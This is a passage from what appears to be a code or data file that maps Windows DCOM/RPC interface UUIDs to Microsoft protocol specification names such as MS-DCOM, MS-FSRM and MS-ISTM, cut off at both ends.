COM',\n'08A90F5F-0702-48D6-B45F-02A9885A9768':'[MC-IISA]: Internet Information Services (IIS) Application Host COM',\n'8F6D760F-F0CB-4D69-B5F6-848B33E9BDC6':'[MC-IISA]: Internet Information Services (IIS) Application Host COM',\n'E7927575-5CC3-403B-822E-328A6B904BEE':'[MC-IISA]: Internet Information Services (IIS) Application Host COM',\n'DE095DB1-5368-4D11-81F6-EFEF619B7BCF':'[MC-IISA]: Internet Information Services (IIS) Application Host COM',\n'64FF8CCC-B287-4DAE-B08A-A72CBF45F453':'[MC-IISA]: Internet Information Services (IIS) Application Host COM',\n'EAFE4895-A929-41EA-B14D-613E23F62B71':'[MC-IISA]: Internet Information Services (IIS) Application Host COM',\n'EF13D885-642C-4709-99EC-B89561C6BC69':'[MC-IISA]: Internet Information Services (IIS) Application Host COM',\n'0191775E-BCFF-445A-B4F4-3BDDA54E2816':'[MC-IISA]: Internet Information Services (IIS) Application Host COM',\n'31A83EA0-C0E4-4A2C-8A01-353CC2A4C60A':'[MC-IISA]: Internet Information Services (IIS) Application Host COM',\n'D6C7CD8F-BB8D-4F96-B591-D3A5F1320269':'[MC-IISA]: Internet Information Services (IIS) Application Host COM',\n'ADA4E6FB-E025-401E-A5D0-C3134A281F07':'[MC-IISA]: Internet Information Services (IIS) Application Host COM',\n'B7D381EE-8860-47A1-8AF4-1F33B2B1F325':'[MC-IISA]: Internet Information Services (IIS) Application Host COM',\n'C5C04795-321C-4014-8FD6-D44658799393':'[MC-IISA]: Internet Information Services (IIS) Application Host COM',\n'EBA96B22-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):',\n'12A30900-7300-11D2-B0E6-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):',\n'EBA96B24-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):',\n'2CE0C5B0-6E67-11D2-B0E6-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):',\n'EBA96B0E-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):',\n'B196B285-BAB4-101A-B69C-00AA00341D07':'[MC-MQAC]: Message Queuing (MSMQ):',\n'39CE96FE-F4C5-4484-A143-4C2D5D324229':'[MC-MQAC]: Message Queuing (MSMQ):',\n'D7D6E07F-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):',\n'EBA96B1A-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):',\n'EBA96B18-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):',\n'EBA96B23-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):',\n'EBA96B14-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):',\n'FD174A80-89CF-11D2-B0F2-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):',\n'F72B9031-2F0C-43E8-924E-E6052CDC493F':'[MC-MQAC]: Message Queuing (MSMQ):',\n'D7D6E072-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):',\n'D7D6E075-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):',\n'0188401C-247A-4FED-99C6-BF14119D7055':'[MC-MQAC]: Message Queuing (MSMQ):',\n'EBA96B15-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):',\n'D7D6E07C-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):',\n'BE5F0241-E489-4957-8CC4-A452FCF3E23E':'[MC-MQAC]: Message Queuing (MSMQ):',\n'EBA96B1C-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):',\n'D7D6E077-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):',\n'D7D6E078-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):',\n'B196B284-BAB4-101A-B69C-00AA00341D07':'[MC-MQAC]: Message Queuing (MSMQ):',\n'D7D6E073-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):',\n'D7D6E07D-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):',\n'EBA96B1B-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):',\n'D7D6E079-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):',\n'D7D6E084-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):',\n'EBA96B1F-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):',\n'33B6D07E-F27D-42FA-B2D7-BF82E11E9374':'[MC-MQAC]: Message Queuing (MSMQ):',\n'D7D6E07A-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):',\n'0188AC2F-ECB3-4173-9779-635CA2039C72':'[MC-MQAC]: Message Queuing (MSMQ):',\n'D7D6E085-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):',\n'EF0574E0-06D8-11D3-B100-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):',\n'D7D6E086-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):',\n'B196B286-BAB4-101A-B69C-00AA00341D07':'[MC-MQAC]: Message Queuing (MSMQ):',\n'D9933BE0-A567-11D2-B0F3-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):',\n'D7AB3341-C9D3-11D1-BB47-0080C7C5A2C0':'[MC-MQAC]: Message Queuing (MSMQ):',\n'D7D6E082-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):',\n'0FB15084-AF41-11CE-BD2B-204C4F4F5020':'[MC-MQAC]: Message Queuing (MSMQ):',\n'D7D6E083-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):',\n'EBA96B13-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):',\n'EBA96B1D-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):',\n'EBA96B17-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):',\n'EBA96B20-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):',\n'D7D6E074-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):',\n'7FBE7759-5760-444D-B8A5-5E7AB9A84CCE':'[MC-MQAC]: Message Queuing (MSMQ):',\n'B196B287-BAB4-101A-B69C-00AA00341D07':'[MC-MQAC]: Message Queuing (MSMQ):',\n'EBA96B12-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):',\n'EBA96B1E-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):',\n'D7D6E07E-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):',\n'D7D6E081-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):',\n'D7D6E07B-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):',\n'64C478FB-F9B0-4695-8A7F-439AC94326D3':'[MC-MQAC]: Message Queuing (MSMQ):',\n'EBA96B16-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):',\n'EBA96B19-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):',\n'EBA96B10-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):',\n'EBA96B21-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):',\n'D7D6E076-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):',\n'EBA96B0F-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):',\n'EBA96B11-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):',\n'D7D6E080-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):',\n'4639DB2A-BFC5-11D2-9318-00C04FBBBFB3':'[MS-ADTG]: Remote Data Services (RDS) Transport Protocol',\n'0EAC4842-8763-11CF-A743-00AA00A3F00D':'[MS-ADTG]: Remote Data Services (RDS) Transport Protocol',\n'070669EB-B52F-11D1-9270-00C04FBBBFB3':'[MS-ADTG]: Remote Data Services (RDS) Transport Protocol',\n'3DDE7C30-165D-11D1-AB8F-00805F14DB40':'[MS-BKRP]: BackupKey Remote Protocol',\n'E3D0D746-D2AF-40FD-8A7A-0D7078BB7092':'[MS-BPAU]: Background Intelligent Transfer Service (BITS) Peer-',\n'6BFFD098-A112-3610-9833-012892020162':'[MS-BRWSA]: Common Internet File System (CIFS) Browser Auxiliary',\n'AFC07E2E-311C-4435-808C-C483FFEEC7C9':'[MS-CAPR]: Central Access Policy Identifier (ID) Retrieval Protocol',\n'B97DB8B2-4C63-11CF-BFF6-08002BE23F2F':'[MS-CMRP]: Failover Cluster:',\n'97199110-DB2E-11D1-A251-0000F805CA53':'[MS-COM]: Component Object Model Plus (COM+) Protocol',\n'0E3D6630-B46B-11D1-9D2D-006008B0E5CA':'[MS-COMA]: Component Object Model Plus (COM+) Remote',\n'3F3B1B86-DBBE-11D1-9DA6-00805F85CFE3':'[MS-COMA]: Component Object Model Plus (COM+) Remote',\n'7F43B400-1A0E-4D57-BBC9-6B0C65F7A889':'[MS-COMA]: Component Object Model Plus (COM+) Remote',\n'456129E2-1078-11D2-B0F9-00805FC73204':'[MS-COMA]: Component Object Model Plus (COM+) Remote',\n'8DB2180E-BD29-11D1-8B7E-00C04FD7A924':'[MS-COMA]: Component Object Model Plus (COM+) Remote',\n'182C40FA-32E4-11D0-818B-00A0C9231C29':'[MS-COMA]: Component Object Model Plus (COM+) Remote',\n'971668DC-C3FE-4EA1-9643-0C7230F494A1':'[MS-COMA]: Component Object Model Plus (COM+) Remote',\n'98315903-7BE5-11D2-ADC1-00A02463D6E7':'[MS-COMA]: Component Object Model Plus (COM+) Remote',\n'6C935649-30A6-4211-8687-C4C83E5FE1C7':'[MS-COMA]: Component Object Model Plus (COM+) Remote',\n'F131EA3E-B7BE-480E-A60D-51CB2785779E':'[MS-COMA]: Component Object Model Plus (COM+) Remote',\n'1F7B1697-ECB2-4CBB-8A0E-75C427F4A6F0':'[MS-COMA]: Component Object Model Plus (COM+) Remote',\n'A8927A41-D3CE-11D1-8472-006008B0E5CA':'[MS-COMA]: Component Object Model Plus (COM+) Remote',\n'CFADAC84-E12C-11D1-B34C-00C04F990D54':'[MS-COMA]: Component Object Model Plus (COM+) Remote',\n'1D118904-94B3-4A64-9FA6-ED432666A7B9':'[MS-COMA]: Component Object Model Plus (COM+) Remote',\n'47CDE9A1-0BF6-11D2-8016-00C04FB9988E':'[MS-COMA]: Component Object Model Plus (COM+) Remote',\n'0E3D6631-B46B-11D1-9D2D-006008B0E5CA':'[MS-COMA]: Component Object Model Plus (COM+) Remote',\n'C2BE6970-DF9E-11D1-8B87-00C04FD7A924':'[MS-COMA]: Component Object Model Plus (COM+) Remote',\n'C726744E-5735-4F08-8286-C510EE638FB6':'[MS-COMA]: Component Object Model Plus (COM+) Remote',\n'FBC1D17D-C498-43A0-81AF-423DDD530AF6':'[MS-COMEV]: Component Object Model Plus (COM+) Event System',\n'F89AC270-D4EB-11D1-B682-00805FC79216':'[MS-COMEV]: Component Object Model Plus (COM+) Event System',\n'FB2B72A1-7A68-11D1-88F9-0080C7D771BF':'[MS-COMEV]: Component Object Model Plus (COM+) Event System',\n'4E14FB9F-2E22-11D1-9964-00C04FBBB345':'[MS-COMEV]: Component Object Model Plus (COM+) Event System',\n'A0E8F27A-888C-11D1-B763-00C04FB926AF':'[MS-COMEV]: Component Object Model Plus (COM+) Event System',\n'7FB7EA43-2D76-4EA8-8CD9-3DECC270295E':'[MS-COMEV]: Component Object Model Plus (COM+) Event System',\n'99CC098F-A48A-4E9C-8E58-965C0AFC19D5':'[MS-COMEV]: Component Object Model Plus (COM+) Event System',\n'FB2B72A0-7A68-11D1-88F9-0080C7D771BF':'[MS-COMEV]: Component Object Model Plus (COM+) Event System',\n'4A6B0E16-2E38-11D1-9965-00C04FBBB345':'[MS-COMEV]: Component Object Model Plus (COM+) Event System',\n'F4A07D63-2E25-11D1-9964-00C04FBBB345':'[MS-COMEV]: Component Object Model Plus (COM+) Event System',\n'4A6B0E15-2E38-11D1-9965-00C04FBBB345':'[MS-COMEV]: Component Object Model Plus (COM+) Event System',\n'B60040E0-BCF3-11D1-861D-0080C729264D':'[MS-COMT]: Component Object Model Plus (COM+) Tracker Service',\n'23C9DD26-2355-4FE2-84DE-F779A238ADBD':'[MS-COMT]: Component Object Model Plus (COM+) Tracker Service',\n'4E6CDCC9-FB25-4FD5-9CC5-C9F4B6559CEC':'[MS-COMT]: Component Object Model Plus (COM+) Tracker Service',\n'D99E6E71-FC88-11D0-B498-00A0C90312F3':'[MS-CSRA]: Certificate Services Remote Administration Protocol',\n'7FE0D935-DDA6-443F-85D0-1CFB58FE41DD':'[MS-CSRA]: Certificate Services Remote Administration Protocol',\n'E1568352-586D-43E4-933F-8E6DC4DE317A':'[MS-CSVP]: Failover Cluster:',\n'11942D87-A1DE-4E7F-83FB-A840D9C5928D':'[MS-CSVP]: Failover Cluster:',\n'491260B5-05C9-40D9-B7F2-1F7BDAE0927F':'[MS-CSVP]: Failover Cluster:',\n'C72B09DB-4D53-4F41-8DCC-2D752AB56F7C':'[MS-CSVP]: Failover Cluster:',\n'E3C9B851-C442-432B-8FC6-A7FAAFC09D3B':'[MS-CSVP]: Failover Cluster:',\n'4142DD5D-3472-4370-8641-DE7856431FB0':'[MS-CSVP]: Failover Cluster:',\n'D6105110-8917-41A5-AA32-8E0AA2933DC9':'[MS-CSVP]: Failover Cluster:',\n'A6D3E32B-9814-4409-8DE3-CFA673E6D3DE':'[MS-CSVP]: Failover Cluster:',\n'04D55210-B6AC-4248-9E69-2A569D1D2AB6':'[MS-CSVP]: Failover Cluster:',\n'2931C32C-F731-4C56-9FEB-3D5F1C5E72BF':'[MS-CSVP]: Failover Cluster:',\n'12108A88-6858-4467-B92F-E6CF4568DFB6':'[MS-CSVP]: Failover Cluster:',\n'85923CA7-1B6B-4E83-A2E4-F5BA3BFBB8A3':'[MS-CSVP]: Failover Cluster:',\n'F1D6C29C-8FBE-4691-8724-F6D8DEAEAFC8':'[MS-CSVP]: Failover Cluster:',\n'3CFEE98C-FB4B-44C6-BD98-A1DB14ABCA3F':'[MS-CSVP]: Failover Cluster:',\n'88E7AC6D-C561-4F03-9A60-39DD768F867D':'[MS-CSVP]: Failover Cluster:',\n'00000131-0000-0000-C000-000000000046':'[MS-DCOM]: Distributed Component Object Model (DCOM) Remote',\n'4D9F4AB8-7D1C-11CF-861E-0020AF6E7C57':'[MS-DCOM]: Distributed Component Object Model (DCOM) Remote',\n'00000143-0000-0000-C000-000000000046':'[MS-DCOM]: Distributed Component Object Model (DCOM) Remote',\n'000001A0-0000-0000-C000-000000000046':'[MS-DCOM]: Distributed Component Object Model (DCOM) Remote',\n'99FCFEC4-5260-101B-BBCB-00AA0021347A':'[MS-DCOM]: Distributed Component Object Model (DCOM) Remote',\n'00000000-0000-0000-C000-000000000046':'[MS-DCOM]: Distributed Component Object Model (DCOM) Remote',\n'4FC742E0-4A10-11CF-8273-00AA004AE673':'[MS-DFSNM]: Distributed File System (DFS):',\n'9009D654-250B-4E0D-9AB0-ACB63134F69F':'[MS-DFSRH]: DFS Replication Helper Protocol',\n'E65E8028-83E8-491B-9AF7-AAF6BD51A0CE':'[MS-DFSRH]: DFS Replication Helper Protocol',\n'D3766938-9FB7-4392-AF2F-2CE8749DBBD0':'[MS-DFSRH]: DFS Replication Helper Protocol',\n'4BB8AB1D-9EF9-4100-8EB6-DD4B4E418B72':'[MS-DFSRH]: DFS Replication Helper Protocol',\n'CEB5D7B4-3964-4F71-AC17-4BF57A379D87':'[MS-DFSRH]: DFS Replication Helper Protocol',\n'7A2323C7-9EBE-494A-A33C-3CC329A18E1D':'[MS-DFSRH]: DFS Replication Helper Protocol',\n'20D15747-6C48-4254-A358-65039FD8C63C':'[MS-DFSRH]: DFS Replication Helper Protocol',\n'C4B0C7D9-ABE0-4733-A1E1-9FDEDF260C7A':'[MS-DFSRH]: DFS Replication Helper Protocol',\n'6BFFD098-A112-3610-9833-46C3F874532D':'[MS-DHCPM]: Microsoft Dynamic Host Configuration Protocol (DHCP)',\n'5B821720-F63B-11D0-AAD2-00C04FC324DB':'[MS-DHCPM]: Microsoft Dynamic Host Configuration Protocol (DHCP)',\n'4DA1C422-943D-11D1-ACAE-00C04FC2AA3F':'[MS-DLTM]: Distributed Link Tracking:',\n'300F3532-38CC-11D0-A3F0-0020AF6B0ADD':'[MS-DLTW]: Distributed Link Tracking:',\n'D2D79DF5-3400-11D0-B40B-00AA005FF586':'[MS-DMRP]: Disk Management Remote Protocol',\n'DEB01010-3A37-4D26-99DF-E2BB6AE3AC61':'[MS-DMRP]: Disk Management Remote Protocol',\n'3A410F21-553F-11D1-8E5E-00A0C92C9D5D':'[MS-DMRP]: Disk Management Remote Protocol',\n'D2D79DF7-3400-11D0-B40B-00AA005FF586':'[MS-DMRP]: Disk Management Remote Protocol',\n'4BDAFC52-FE6A-11D2-93F8-00105A11164A':'[MS-DMRP]: Disk Management Remote Protocol',\n'135698D2-3A37-4D26-99DF-E2BB6AE3AC61':'[MS-DMRP]: Disk Management Remote Protocol',\n'50ABC2A4-574D-40B3-9D66-EE4FD5FBA076':'[MS-DNSP]: Domain Name Service (DNS) Server Management',\n'7C44D7D4-31D5-424C-BD5E-2B3E1F323D22':'[MS-DRSR]: Directory Replication Service (DRS) Remote Protocol',\n'3919286A-B10C-11D0-9BA8-00C04FD92EF5':'[MS-DSSP]: Directory Services Setup Remote Protocol',\n'14A8831C-BC82-11D2-8A64-0008C7457E5D':'[MS-EERR]: ExtendedError Remote Data Structure',\n'C681D488-D850-11D0-8C52-00C04FD90F7E':'[MS-EFSR]: Encrypting File System Remote (EFSRPC) Protocol',\n'82273FDC-E32A-18C3-3F78-827929DC23EA':'[MS-EVEN]: EventLog Remoting Protocol',\n'6B5BDD1E-528C-422C-AF8C-A4079BE4FE48':'[MS-FASP]: Firewall and Advanced Security Protocol',\n'6099FC12-3EFF-11D0-ABD0-00C04FD91A4E':'[MS-FAX]: Fax Server and Client Remote Protocol',\n'EA0A3165-4834-11D2-A6F8-00C04FA346CC':'[MS-FAX]: Fax Server and Client Remote Protocol',\n'897E2E5F-93F3-4376-9C9C-FD2277495C27':'[MS-FRS2]: Distributed File System Replication Protocol',\n'377F739D-9647-4B8E-97D2-5FFCE6D759CD':'[MS-FSRM]: File Server Resource Manager Protocol',\n'F411D4FD-14BE-4260-8C40-03B7C95E608A':'[MS-FSRM]: File Server Resource Manager Protocol',\n'4C8F96C3-5D94-4F37-A4F4-F56AB463546F':'[MS-FSRM]: File Server Resource Manager Protocol',\n'CFE36CBA-1949-4E74-A14F-F1D580CEAF13':'[MS-FSRM]: File Server Resource Manager Protocol',\n'8276702F-2532-4839-89BF-4872609A2EA4':'[MS-FSRM]: File Server Resource Manager Protocol',\n'4A73FEE4-4102-4FCC-9FFB-38614F9EE768':'[MS-FSRM]: File Server Resource Manager Protocol',\n'F3637E80-5B22-4A2B-A637-BBB642B41CFC':'[MS-FSRM]: File Server Resource Manager Protocol',\n'1568A795-3924-4118-B74B-68D8F0FA5DAF':'[MS-FSRM]: File Server Resource Manager Protocol',\n'6F4DBFFF-6920-4821-A6C3-B7E94C1FD60C':'[MS-FSRM]: File Server Resource Manager Protocol',\n'39322A2D-38EE-4D0D-8095-421A80849A82':'[MS-FSRM]: File Server Resource Manager Protocol',\n'326AF66F-2AC0-4F68-BF8C-4759F054FA29':'[MS-FSRM]: File Server Resource Manager Protocol',\n'27B899FE-6FFA-4481-A184-D3DAADE8A02B':'[MS-FSRM]: File Server Resource Manager Protocol',\n'E1010359-3E5D-4ECD-9FE4-EF48622FDF30':'[MS-FSRM]: File Server Resource Manager Protocol',\n'8DD04909-0E34-4D55-AFAA-89E1F1A1BBB9':'[MS-FSRM]: File Server Resource Manager Protocol',\n'96DEB3B5-8B91-4A2A-9D93-80A35D8AA847':'[MS-FSRM]: File Server Resource Manager Protocol',\n'D8CC81D9-46B8-4FA4-BFA5-4AA9DEC9B638':'[MS-FSRM]: File Server Resource Manager Protocol',\n'EDE0150F-E9A3-419C-877C-01FE5D24C5D3':'[MS-FSRM]: File Server Resource Manager Protocol',\n'15A81350-497D-4ABA-80E9-D4DBCC5521FE':'[MS-FSRM]: File Server Resource Manager Protocol',\n'12937789-E247-4917-9C20-F3EE9C7EE783':'[MS-FSRM]: File Server Resource Manager Protocol',\n'F76FBF3B-8DDD-4B42-B05A-CB1C3FF1FEE8':'[MS-FSRM]: File Server Resource Manager Protocol',\n'CB0DF960-16F5-4495-9079-3F9360D831DF':'[MS-FSRM]: File Server Resource Manager Protocol',\n'4846CB01-D430-494F-ABB4-B1054999FB09':'[MS-FSRM]: File Server Resource Manager Protocol',\n'6CD6408A-AE60-463B-9EF1-E117534D69DC':'[MS-FSRM]: File Server Resource Manager Protocol',\n'EE321ECB-D95E-48E9-907C-C7685A013235':'[MS-FSRM]: File Server Resource Manager Protocol',\n'38E87280-715C-4C7D-A280-EA1651A19FEF':'[MS-FSRM]: File Server Resource Manager Protocol',\n'BEE7CE02-DF77-4515-9389-78F01C5AFC1A':'[MS-FSRM]: File Server Resource Manager Protocol',\n'9A2BF113-A329-44CC-809A-5C00FCE8DA40':'[MS-FSRM]: File Server Resource Manager Protocol',\n'4173AC41-172D-4D52-963C-FDC7E415F717':'[MS-FSRM]: File Server Resource Manager Protocol',\n'AD55F10B-5F11-4BE7-94EF-D9EE2E470DED':'[MS-FSRM]: File Server Resource Manager Protocol',\n'BB36EA26-6318-4B8C-8592-F72DD602E7A5':'[MS-FSRM]: File Server Resource Manager Protocol',\n'FF4FA04E-5A94-4BDA-A3A0-D5B4D3C52EBA':'[MS-FSRM]: File Server Resource Manager Protocol',\n'22BCEF93-4A3F-4183-89F9-2F8B8A628AEE':'[MS-FSRM]: File Server Resource Manager Protocol',\n'6879CAF9-6617-4484-8719-71C3D8645F94':'[MS-FSRM]: File Server Resource Manager Protocol',\n'5F6325D3-CE88-4733-84C1-2D6AEFC5EA07':'[MS-FSRM]: File Server Resource Manager Protocol',\n'8BB68C7D-19D8-4FFB-809E-BE4FC1734014':'[MS-FSRM]: File Server Resource Manager Protocol',\n'A2EFAB31-295E-46BB-B976-E86D58B52E8B':'[MS-FSRM]: File Server Resource Manager Protocol',\n'0770687E-9F36-4D6F-8778-599D188461C9':'[MS-FSRM]: File Server Resource Manager Protocol',\n'AFC052C2-5315-45AB-841B-C6DB0E120148':'[MS-FSRM]: File Server Resource Manager Protocol',\n'515C1277-2C81-440E-8FCF-367921ED4F59':'[MS-FSRM]: File Server Resource Manager Protocol',\n'D2DC89DA-EE91-48A0-85D8-CC72A56F7D04':'[MS-FSRM]: File Server Resource Manager Protocol',\n'47782152-D16C-4229-B4E1-0DDFE308B9F6':'[MS-FSRM]: File Server Resource Manager Protocol',\n'205BEBF8-DD93-452A-95A6-32B566B35828':'[MS-FSRM]: File Server Resource Manager Protocol',\n'1BB617B8-3886-49DC-AF82-A6C90FA35DDA':'[MS-FSRM]: File Server Resource Manager Protocol',\n'42DC3511-61D5-48AE-B6DC-59FC00C0A8D6':'[MS-FSRM]: File Server Resource Manager Protocol',\n'426677D5-018C-485C-8A51-20B86D00BDC4':'[MS-FSRM]: File Server Resource Manager Protocol',\n'E946D148-BD67-4178-8E22-1C44925ED710':'[MS-FSRM]: File Server Resource Manager Protocol',\n'D646567D-26AE-4CAA-9F84-4E0AAD207FCA':'[MS-FSRM]: File Server Resource Manager Protocol',\n'F82E5729-6ABA-4740-BFC7-C7F58F75FB7B':'[MS-FSRM]: File Server Resource Manager Protocol',\n'2DBE63C4-B340-48A0-A5B0-158E07FC567E':'[MS-FSRM]: File Server Resource Manager Protocol',\n'A8E0653C-2744-4389-A61D-7373DF8B2292':'[MS-FSRVP]: File Server Remote VSS Protocol',\n'B9785960-524F-11DF-8B6D-83DCDED72085':'[MS-GKDI]: Group Key Distribution Protocol',\n'91AE6020-9E3C-11CF-8D7C-00AA00C091BE':'[MS-ICPR]: ICertPassage Remote Protocol',\n'E8FB8620-588F-11D2-9D61-00C04F79C5FE':'[MS-IISS]: Internet Information Services (IIS) ServiceControl',\n'F612954D-3B0B-4C56-9563-227B7BE624B4':'[MS-IMSA]: Internet Information Services (IIS) IMSAdminBaseW',\n'8298D101-F992-43B7-8ECA-5052D885B995':'[MS-IMSA]: Internet Information Services (IIS) IMSAdminBaseW',\n'29822AB8-F302-11D0-9953-00C04FD919C1':'[MS-IMSA]: Internet Information Services (IIS) IMSAdminBaseW',\n'70B51430-B6CA-11D0-B9B9-00A0C922E750':'[MS-IMSA]: Internet Information Services (IIS) IMSAdminBaseW',\n'29822AB7-F302-11D0-9953-00C04FD919C1':'[MS-IMSA]: Internet Information Services (IIS) IMSAdminBaseW',\n'BD0C73BC-805B-4043-9C30-9A28D64DD7D2':'[MS-IMSA]: Internet Information Services (IIS) IMSAdminBaseW',\n'7C4E1804-E342-483D-A43E-A850CFCC8D18':'[MS-IMSA]: Internet Information Services (IIS) IMSAdminBaseW',\n'6619A740-8154-43BE-A186-0319578E02DB':'[MS-IOI]: IManagedObject Interface Protocol',\n'8165B19E-8D3A-4D0B-80C8-97DE310DB583':'[MS-IOI]: IManagedObject Interface Protocol',\n'C3FCC19E-A970-11D2-8B5A-00A0C9B7C9C4':'[MS-IOI]: IManagedObject Interface Protocol',\n'82AD4280-036B-11CF-972C-00AA006887B0':'[MS-IRP]: Internet Information Services (IIS) Inetinfo Remote',\n'4E65A71E-4EDE-4886-BE67-3C90A08D1F29':'[MS-ISTM]: iSCSI Software Target Management Protocol',\n'866A78BC-A2FB-4AC4-94D5-DB3041B4ED75':'[MS-ISTM]: iSCSI Software Target Management Protocol',\n'B0D1AC4B-F87A-49B2-938F-D439248575B2':'[MS-ISTM]: iSCSI Software Target Management Protocol',\n'E141FD54-B79E-4938-A6BB-D523C3D49FF1':'[MS-ISTM]: iSCSI Software Target Management Protocol',\n'40CC8569-6D23-4005-9958-E37F08AE192B':'[MS-ISTM]: iSCSI Software Target Management Protocol',\n'1822A95E-1C2B-4D02-AB25-CC116DD9DBDE':'[MS-ISTM]: iSCSI Software Target Management Protocol',\n'B4FA8E86-2517-4A88-BD67-75447219EEE4':'[MS-ISTM]: iSCSI Software Target Management Protocol',\n'3C73848A-A679-40C5-B101-C963E67F9949':'[MS-ISTM]: iSCSI Software Target Management Protocol',\n'66C9B082-7794-4948-839A-D8A5A616378F':'[MS-ISTM]: iSCSI Software Target Management Protocol',\n'01454B97-C6A5-4685-BEA8-9779C88AB990':'[MS-ISTM]: iSCSI Software Target Management Protocol',\n'D6BD6D63-E8CB-4905-AB34-8A278C93197A':'[MS-ISTM]: iSCSI Software Target Management Protocol',\n'348A0821-69BB-4889-A101-6A9BDE6FA720':'[MS-ISTM]: iSCSI Software Target Management Protocol',\n'703E6B03-7AD1-4DED-BA0D-E90496EBC5DE':'[MS-ISTM]: iSCSI Software Target Management Protocol',\n'100DA538-3F4A-45AB-B852-709148152789':'[MS-ISTM]: iSCSI Software Target Management Protocol',\n'592381E5-8D3C-42E9-B7DE-4E77A1F75AE4':'[MS-ISTM]: iSCSI Software Target Management Protocol',\n'883343F1-CEED-4E3A-8C1B-F0DADFCE281E':'[MS-ISTM]: iSCSI Software Target Management Protocol',\n'6AEA6B26-0680-411D-8877-A148DF3087D5':'[MS-ISTM]: iSCSI Software Target Management Protocol',\n'D71B2CAE-33E8-4567-AE96-3CCF31620BE2':'[MS-ISTM]: iSCSI Software Target Management Protocol',\n'8C58F6B3-4736-432A-891D-389DE3505C7C':'[MS-ISTM]: iSCSI Software Target Management Protocol',\n'1995785D-2A1E-492F-8923-E621EACA39D9':'[MS-ISTM]: iSCSI Software Target Management Protocol',\n'C10A76D8-1FE4-4C2F-B70D-665265215259':'[MS-ISTM]: iSCSI Software Target Management Protocol',\n'8D7AE740-B9C5-49FC-A11E-89171907CB86':'[MS-ISTM]: iSCSI Software Target Management Protocol',\n'8AD608A4-6C16-4405-8879-B27910A68995':'[MS-ISTM]: iSCSI Software Target Management Protocol',\n'B0076FEC-A921-4034-A8BA-090BC6D03BDE':'[MS-ISTM]: iSCSI Software Target Management Protocol',\n'640038F1-D626-40D8-B52B-09660601D045':'[MS-ISTM]: iSCSI Software Target Management Protocol',\n'BB39E296-AD26-42C5-9890-5325333BB11E':'[MS-ISTM]: iSCSI Software Target Management Protocol',\n'B06A64E3-814E-4FF9-AFAC-597AD32517C7':'[MS-ISTM]: iSCSI Software Target Management Protocol',\n'A5ECFC73-0013-4A9E-951C-59BF9735FDDA':'[MS-ISTM]: iSCSI Software Target Management Protocol',\n'1396DE6F-A794-4B11-B93F-6B69A5B47BAE':'[MS-ISTM]: iSCSI Software Target Management Protocol',\n'DD6F0A28-248F-4DD3-AFE9-71AED8F685C4':'[MS-ISTM]: iSCSI Software Target 